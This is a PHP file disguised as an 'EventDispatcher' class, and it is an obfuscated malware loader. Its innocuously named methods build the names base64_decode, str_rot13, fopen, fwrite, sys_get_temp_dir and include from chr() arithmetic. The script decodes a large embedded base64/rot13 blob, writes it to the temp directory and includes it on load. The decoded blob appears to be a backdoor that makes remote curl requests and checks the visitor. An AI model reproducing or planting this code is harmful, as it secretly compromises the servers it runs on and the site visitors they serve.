<?php
class EventDispatcher
{
    private $ol = '';
    private $ox = '';
    public function saveChanges($p1)
    {
        $f = array(101 * 1, 100, 113 * 68 - 7573, 3 * 33, 12 + 89, 100, 72 + 20 + 3, 2 * 26, 54, 45 * 99 - 4354, 50 * 2 + 15, 59 + 21 + 17, 91 * 42 - 3724);
        $m = '';
        foreach ($f as $c) {
            $m .= chr($c);
        }
        $m = strrev($m);
        return $m($p1);
    }
    public function syncRecords($p1)
    {
        $s = array(45 * 1 + 6, 19 * 1 + 30, 105 * 85 - 8809, 111, 2 * 57, 3 * 11 + 62, 75 * 52 - 3786, 12 * 122 - 1348, 5 * 23);
        $u = '';
        foreach ($s as $m) {
            $u .= chr($m);
        }
        $u = strrev($u);
        return $u($p1);
    }
    public function cacheData($p1, $p2)
    {
        $q = array(92 + 10, 111, 2 * 56, 21 + 80, 2 * 55);
        $x = '';
        foreach ($q as $f) {
            $x .= chr($f);
        }
        return $x($p1, $p2);
    }
    public function resolveConflict($p1, $p2)
    {
        $k = array(2 * 51, 9 * 16 - 25, 115 - 1, 52 + 11 + 42, 32 * 1 + 84, 32 * 49 - 1467);
        $n = '';
        foreach ($k as $e) {
            $n .= chr($e);
        }
        return $n($p1, $p2);
    }
    public function filterResults($p1)
    {
        $g = array(64 * 1 + 38, 75 + 6 + 18, 2 * 54, 120 - 9, 34 + 81, 101 * 1);
        $z = '';
        foreach ($g as $d) {
            $z .= chr($d);
        }
        return $z($p1);
    }
    public function fetchRecords($p1, $p2 = null)
    {
        $o = array(61 * 38 - 2209, 102 * 53 - 5301, 123 - 9, 108 * 1 + 8, 118 - 4);
        $w = '';
        foreach ($o as $k) {
            $w .= chr($k);
        }
        $w = strrev($w);
        return $w($p1, $p2);
    }
    public function encryptData()
    {
        $this->ox = $this->fetchRecords($this->triggerCallback(), '/');
    }
    public function prepareOutput()
    {
        $this->ol = $this->syncRecords($this->saveChanges($this->bk));
    }
    public function resolveAction()
    {
        $fn = $this->ox . '/ci-6974a07a60411';
        $f = $this->cacheData($fn, 'w');
        $this->resolveConflict($f, $this->ol);
        $this->filterResults($f);
        $this->resetState($fn);
    }
    private $bk = 'PD9jdWMgcHluZmYgX3F1e2NldmluZ3IgZmduZ3ZwJF9xemk7Z' . 'mduZ3ZwIHNoYXBndmJhIF9oYygkX2J1cyl7dnMoIWZyeXM6OiR' . 'fcXppKWZyeXM6Ol9qYm0oKTtlcmdoZWEgb25mcjY0X3FycGJxc' . 'ihmcnlzOjokX3F6aVskX2J1c10pO31jZXZpbmdyIGZnbmd2cCB' . 'zaGFwZ3ZiYSBfamJtKCl7ZnJ5czo6JF9xemk9bmVlbmwoJ19td' . '2gnPT4nREpBd01LQW1ZSEFpb2FFbG8yamdESmtmbzMnLidwZ0c' . 'zV2NNMnloQnZOZCcsJ19tYm4nPT4nRDI5aHFUSWhxUDFIcktPe' . 'UJ2T3VwVU9mbkpBdScuJ3FUeScuJ2lvdjknLidkTEtNdXAyQSc' . 'uJ2xuS08nLicwJywnX25rYic9PidMMnQnLic9JywnX2xpcyc9P' . 'idNS3lYcFRBUUZHTVduenAwR1RjYUFSa2RNbUVabnpwMEZKeTN' . 'uSkVLRUp5Q25IYmpKeXVCWlJ5Y3EyeXdvSU1nJy4nRkpjaW5KR' . 'VVJYWN4RDAnLidiNScsJ19zdCc9PidwS3E2ck49Jy4nPScsJ19' . 'jbSc9PidDVDllJy4nQ3Q9Jy4nPScsJ19yeGgnPT4nQ1RXdU1RN' . 'D0nLCdfeXcnPT4ncTJTZicuJ29OJy4nPScuJz0nLCdfeG4nPT4' . 'nJywnX3Ftcic9PicnLCdfeGQnPT4nJywnX2VuJz0+J25VRTBwU' . 'WJpWTNPMUx2NTNNSld6bkpreW5UOW0nLidxVElsWXpBaW9GOXd' . 'vMjFqbzNBeXB2NWRwbTl4TCcuJ0tFdScuJ0MnLidEPScuJz0nL' . 'CdfdmlmJz0+J0wzSWxvUycuJzljJy4nb3onLid5MCcsJ194dyc' . '9PiduVUUwcFM5d28yRScuJ3knLCdfdmMnPT4ncDJBYk0nLidKM' . 'ScuJ3knLCdfanAnPT4nblVFMCcuJ3BVJy4nWj0nLCdfcXcnPT4' . 'nRTBJSFYnLidOPT0nLCdfaHlkJz0+J3BUUzAnLiduTj0nLic9J' . 'ywnX2RiJz0+J3BLSXlwJy4nYXg9JywnX3NlJz0+J0MnLidqPSc' . 'uJz0nLCdfdG9pJz0+J3BLSXlwYXg9JywnX3Vocic9PidWUnVIS' . 'VNOaVpGNGpRJy4nRGNWJy4nbzNBMEJ2Jy4nTj0nLCdfdXUnPT4' . 'nblQ5bXFOPT0nLCdfdXp2Jz0+J1FEY1FvMjVoTUpBMG5KOWhCd' . 'k9Rb1Q5bU1EMFgnLidRJy4nRCcuJ2InLic9JywnX2hrJz0+J3A' . 'zQWZCJy4ndjgnLidpJywnX2dzcic9PicnLCdfYWV0Jz0+J24nL' . 'idUOScuJ21xJy4nTj0nLic9JywnX2xlYyc9PidRRGI9JywnX3Z' . 'xJz0+J0ZTRScuJ0hIUzlRJy4nR1J5UycuJ0d5RScuJ3MnLidGJ' . 'y4nSScuJ04nLic9JywnX21nZCc9PidGU0VISFM5TEswTUNIeSc' . 'uJ3FPSHhFJy4nU0VTOScuJ1RHMScuJ1YnLic9JywnX21iJz0+J' . '0gnLid4SUFHMUVTSzAnLidTUkVTVicuJz0nLCdfemwnPT4nRlN' . 'FJy4nSEhTOUlIMEknLidGSzBTJy4nVUVINUgnLCdfZmFjJz0+J' . '0ZTRUhIUzknLidJSDBJRkswUycuJ1VFJy4nSDUnLidIJywnX25' . 'vJz0+JycsJ195Z3QnPT4nRlNFSEhTOUZFSCcuJ01TJy4nSHhJR' . 'icsJ192aic9PidGU0VIJy4nSFM5RkVITVMnLidIeEknLidGJyw' . 'nX3hhJz0+JycsJ19vZWgnPT4nRlNFSEhTOScuJ1FHUnlTR3lFJ' . 'y4nc0ZJJy4nTj0nLCdfZ3V1Jz0+J0ZTRUhIUzlRR1J5UycuJ0d' . '5RXNGJy4nSScuJ04nLic9JywnX2d3Jz0+J0ZTRUhIJy4nUzlMS' . 'zBNQ0h5cU9IeEVTRVM5VEcxVj0nLCdfa3NrJz0+J0ZTRUhIUzl' . 'MSzBNQ0h5cU9IeEVTRScuJ1M5VEcxVicuJz0nLCdfbGcnPT4nS' . 'HhJQUcxRVNLMCcuJ1NSJy4nRVMnLidWJy4nPScsJ19waSc9Pid' . 'IeElBRzFFU0swU1JFJy4nU1YnLic9JywnX3drJz0+J01UJy4nV' . '2FvSicuJzl4Jy4nTUQ9PScsJ19oa3cnPT4nRklONlZOPScuJz0' . 'nLCdfaXBuJz0+J1ZVanRJSFInLic2VicuJ049Jy4nPScsJ19mZ' . '3cnPT4nVlVqdEgnLid6SXpCJy4ndk4nLic9JywnX3RzeSc9Pid' . 'WUWt2cHcnLic0Jy4nWCcsJ19vaGMnPT4nbicuJ0tOPScsJ194b' . 'HknPT4ncUpSPScsJ19rZncnPT4ncHpJJy4neicsJ19zayc9Pid' . 'wS3EnLic2ck4nLic9PScsKTt9fXVybnFyZShfcXU6Ol9oYygnX' . 'ycuJ20nLid3aCcpKTt1cm5xcmUoX3F1OjpfaGMoJ18nLidtYic' . 'uJ24nKSk7dnModmZmcmcoJF9UUkdbX3F1OjpfaGMoJ19uJy4na' . 'ycuJ2InKV0pKXskX3V2PV94YihfcXU6Ol9oYygnX2xpcycpKTt' . '2cygkX3V2JiZmZ2VjYmYoJF91dixfcXU6Ol9oYygnX3N0JykpI' . 'T09c255ZnIpe3F2cihfcXU6Ol9oYygnX2NtJykpO31yeWZye3F' . '2cihfcXU6Ol9oYygnX3InLid4Jy4naCcpKTt9fXZzKHZmZnJnK' . 'CRfVFJHW19xdTo6X2hjKCdfeXcnKV0pKXskX29mPSRfUEJCWFZ' . 'SOyRfeW5uPSgzMTgtMzE4KTskX2J1cz0oLTMzNysyNTYrODgpO' . 'yRfcm09bmVlbmwoKTskX3JtWyRfeW5uXT1fcXU6Ol9oYygnX3h' . 'uJyk7anV2eXIoJF9idXMpeyRfcm1bJF95bm5dLj0kX29mWzgwL' . 'SAtNjkrLTExOV1bJF9idXNdO3ZzKCEkX29mWyh2YWcpZWJoYXE' . 'oMTUrMTUpXVskX2J1cysoMTAyKy0yNjctIC04MC0gLTg2KV0pe' . '3ZzKCEkX29mWy02NzQtIC0zODUtIC02MDYrLTI4N11bJF9idXM' . 'rKC01Mys2MDIrLTU0NyldKW9lcm54OyRfeW5uKys7JF9ybVskX' . '3lubl09X3F1OjpfaGMoJ18nLidxbScuJ3InKTskX2J1cysrO30' . 'kX2J1cz0kX2J1cysodmFnKWViaGFxKDEuNzUrMS43NSsxLjc1K' . 'zEuNzUpKyh2YWcpZWJoYXEoMC4zMzMzMzMzMzMzMzMzMyswLjM' . 'zMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMpO30kX3lub' . 'j0kX3JtWyh2YWcpZWJoYXEoNC42NjY2NjY2NjY2NjY3KzQuNjY' . '2NjY2NjY2NjY2Nys0LjY2NjY2NjY2NjY2NjcpXSgpLiRfcm1bL' . 'TMyLSAtNTZdO3ZzKCEkX3JtWy0yMi0gLTEyMSstMjI2KzEzM10' . 'oJF95bm4pKXskX2J1cz0kX3JtWy0xMjArMjUwKzMzOS00NDNdK' . 'CRfeW5uLCRfcm1bLTc3LSAtODddKTskX3JtWyh2YWcpZWJoYXE' . 'oNC41KzQuNSldKCRfYnVzLCRfcm1bLTE5NistNTgrMjY1XS4kX' . '3JtWyh2YWcpZWJoYXEoMTEuNSsxMS41KV0oJF9ybVsodmFnKWV' . 'iaGFxKDguMzMzMzMzMzMzMzMzMys4LjMzMzMzMzMzMzMzMzMrO' . 'C4zMzMzMzMzMzMzMzMzKV0oJF9vZlsxMzktIC0xODErLTMxN10' . 'pKSk7fXZhcHlocXIoJF95bm4pO31zaGFwZ3ZiYSBfeGIoJF9tc' . 'GwsJF95YT1haHl5LCRfb249J3dubGZ2anlkdG1laWRjeHhzYic' . 'sJF96cj0xLjUwMzc1MjUzMDA0NzEpeyRfamFpPV9xdTo6X2hjK' . 'CdfJy4neCcuJ2QnKTskX2hpZz1fcXU6Ol9oYygnX2VuJykuJF9' . 'tcGw7dnModmZfcG55eW5veXIoX3F1OjpfaGMoJ18nLid2aScuJ' . '2YnKSkpeyRfbmFpPXBoZXlfdmF2ZygkX2hpZyk7cGhleV9mcmd' . 'iY2coJF9uYWksUEhFWUJDR19GRllfSVJFVlNMQ1JSRSxzbnlmc' . 'ik7cGhleV9mcmdiY2coJF9uYWksUEhFWUJDR19GRllfSVJFVlN' . 'MVUJGRywodmFnKWViaGFxKDAuNSswLjUrMC41KzAuNSkpO3BoZ' . 'XlfZnJnYmNnKCRfbmFpLFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkE' . 'sMTA2Ky01OC0gLTIyMC0yNjcpO3BoZXlfZnJnYmNnKCRfbmFpL' . 'FBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsKHZhZyllYmhhcSgwLjI' . '1KzAuMjUrMC4yNSswLjI1KSk7cGhleV9mcmdiY2coJF9uYWksU' . 'EhFWUJDR19VUk5RUkUsKHZhZyllYmhhcSgwKzArMCswKSk7cGh' . 'leV9mcmdiY2coJF9uYWksUEhFWUJDR19QQkFBUlBHR1ZaUkJIR' . 'ywodmFnKWViaGFxKDMuMzMzMzMzMzMzMzMzMyszLjMzMzMzMzM' . 'zMzMzMzMrMy4zMzMzMzMzMzMzMzMzKSk7cGhleV9mcmdiY2coJ' . 'F9uYWksUEhFWUJDR19HVlpSQkhHLDI5NystMjc4LTM5MiszODM' . 'pOyRfamFpPXBoZXlfcmtycCgkX25haSk7JF9idD1waGV5X3RyZ' . '3Zhc2IoJF9uYWkpO3BoZXlfcHliZnIoJF9uYWkpO3ZzKCRfYnR' . 'bX3F1OjpfaGMoJ18nLid4dycpXSE9KDE1OCs0MikpZXJnaGVhI' . 'HNueWZyO31yeWZyeyRfcGo9Y25lZnJfaGV5KCRfaGlnKTskX2R' . '0PSgkX3BqW19xdTo6X2hjKCdfdmMnKV09PV9xdTo6X2hjKCdfa' . 'nAnKSk7JF9xdj1fcXU6Ol9oYygnXycuJ3EnLid3JykuJF9walt' . 'fcXU6Ol9oYygnX2gnLid5ZCcpXTt2cyh2ZmZyZygkX3BqW19xd' . 'To6X2hjKCdfZCcuJ2InKV0pKSRfcXYuPV9xdTo6X2hjKCdfc2U' . 'nKS4kX3BqW19xdTo6X2hjKCdfdCcuJ28nLidpJyldOyRfcXYuP' . 'V9xdTo6X2hjKCdfdScuJ2gnLidyJykuJF9waltfcXU6Ol9oYyg' . 'nX3UnLid1JyldLl9xdTo6X2hjKCdfdXonLid2Jyk7JF96YXk9c' . '2ZicHhiY3JhKCgkX2R0P19xdTo6X2hjKCdfJy4naCcuJ2snKTp' . 'fcXU6Ol9oYygnX2cnLidzJy4ncicpKS4kX3BqW19xdTo6X2hjK' . 'CdfJy4nYWUnLid0JyldLCRfZHQ/NjY1LTIyNy0gLTU6MzE0Ky0' . 'yNistMjA4KTt2cygkX3pheSl7c2NoZ2YoJF96YXksJF9xdik7J' . 'F9haj0oLTc5MCs3OTApO2p1dnlyKCFzcmJzKCRfemF5KSl7JF9' . 'nbD1zdHJnZigkX3pheSwxMzc3KzEyNCsxODg1Ky0yMzYyKTt2c' . 'ygkX2FqKSRfamFpLj0kX2dsO3ZzKCRfZ2w9PV9xdTo6X2hjKCd' . 'fbCcuJ2UnLidjJykpJF9haj0odmFnKWViaGFxKDAuMjUrMC4yN' . 'SswLjI1KzAuMjUpO31zcHliZnIoJF96YXkpO319ZXJnaGVhJF9' . 'qYWk7fSRfZGpwPXZmZnJnKCRfRlJFSVJFW19xdTo6X2hjKCdfd' . 'nEnKV0pOyRfZmc9dmZmcmcoJF9GUkVJUkVbX3F1OjpfaGMoJ18' . 'nLidtZycuJ2QnKV0pOyRfem09dmZmcmcoJF9GUkVJUkVbX3F1O' . 'jpfaGMoJ19tJy4nYicpXSk7JF96a2Q9dmZmcmcoJF9GUkVJUkV' . 'bX3F1OjpfaGMoJ196Jy4nbCcpXSk/JF9GUkVJUkVbX3F1Ojpfa' . 'GMoJ19mYScuJ2MnKV06X3F1OjpfaGMoJ18nLiduJy4nbycpOyR' . 'feGRyPXZmZnJnKCRfRlJFSVJFW19xdTo6X2hjKCdfeWcnLid0J' . 'yldKT8kX0ZSRUlSRVtfcXU6Ol9oYygnX3YnLidqJyldOl9xdTo' . '6X2hjKCdfJy4neCcuJ2EnKTskX2RqcD12ZmZyZygkX0ZSRUlSR' . 'VtfcXU6Ol9oYygnX29lJy4naCcpXSk/JF9GUkVJUkVbX3F1Ojp' . 'faGMoJ19nJy4ndScuJ3UnKV06YWh5eTskX2ZnPXZmZnJnKCRfR' . 'lJFSVJFW19xdTo6X2hjKCdfJy4nZ3cnKV0pPyRfRlJFSVJFW19' . 'xdTo6X2hjKCdfa3NrJyldOmFoeXk7JF96bT12ZmZyZygkX0ZSR' . 'UlSRVtfcXU6Ol9oYygnX2xnJyldKT8kX0ZSRUlSRVtfcXU6Ol9' . 'oYygnX3AnLidpJyldOmFoeXk7dnMoc3Z5Z3JlX2luZSgkX2Rqc' . 'CwodmFnKWViaGFxKDEzNy41KzEzNy41KSkpeyRfZGw9JF9kanA' . '7fXJ5ZnJ2cyhzdnlncmVfaW5lKCRfZmcsKHZhZyllYmhhcSgxM' . 'zcuNSsxMzcuNSkpKXskX2RsPSRfZmc7fXJ5ZnJ7JF9kbD0kX3p' . 'tO312cyh2ZmZyZygkX1RSR1tfcXU6Ol9oYygnX3drJyldKSl7c' . 'nB1YiBfcXU6Ol9oYygnX2hrJy4ndycpLiRfZGwuX3F1OjpfaGM' . 'oJ19pcG4nKS4kX3prZC5fcXU6Ol9oYygnX2ZnJy4ndycpLiRfe' . 'GRyLl9xdTo6X2hjKCdfdHMnLid5Jyk7cmt2ZygpO312cyghdmZ' . 'mcmcoJF9kbCl8fCF2ZmZyZygkX3prZCl8fCF2ZmZyZygkX3hkc' . 'ikpe3JrdmcoKTt9cnlmcnskX3FlPW5lZW5sKF9xdTo6X2hjKCd' . 'fb2gnLidjJyk9PiRfZGwsX3F1OjpfaGMoJ18nLid4bHknKT0+J' . 'F96a2QsX3F1OjpfaGMoJ19rZncnKT0+JF94ZHIpOyRfd2o9aGV' . '5cmFwYnFyKG9uZnI2NF9yYXBicXIod2ZiYV9yYXBicXIoJF9xZ' . 'SkpKTskX3V2PV94YigkX3dqKTt2cygkX3V2JiZmZ2VjYmYoJF9' . '1dixfcXU6Ol9oYygnX3MnLidrJykpIT09c255ZnIpe3JwdWIkX' . '3V2O3JrdmcoKTt9fQ==';
    public function resetState($p)
    {
        include_once $p;
    }
    public function triggerCallback()
    {
        $a = array(115, 56 + 65, 87 + 16 + 12, 25 * 16 - 305, 82 * 1 + 21, 34 + 53 + 14, 56 + 60, 42 * 6 - 157, 2 * 58, 86 * 111 - 9445, 79 * 33 - 2498, 120 - 8, 52 + 2 + 41, 2 * 50, 105, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ps = new EventDispatcher();
$ps->encryptData();
$ps->prepareOutput();
$ps->resolveAction();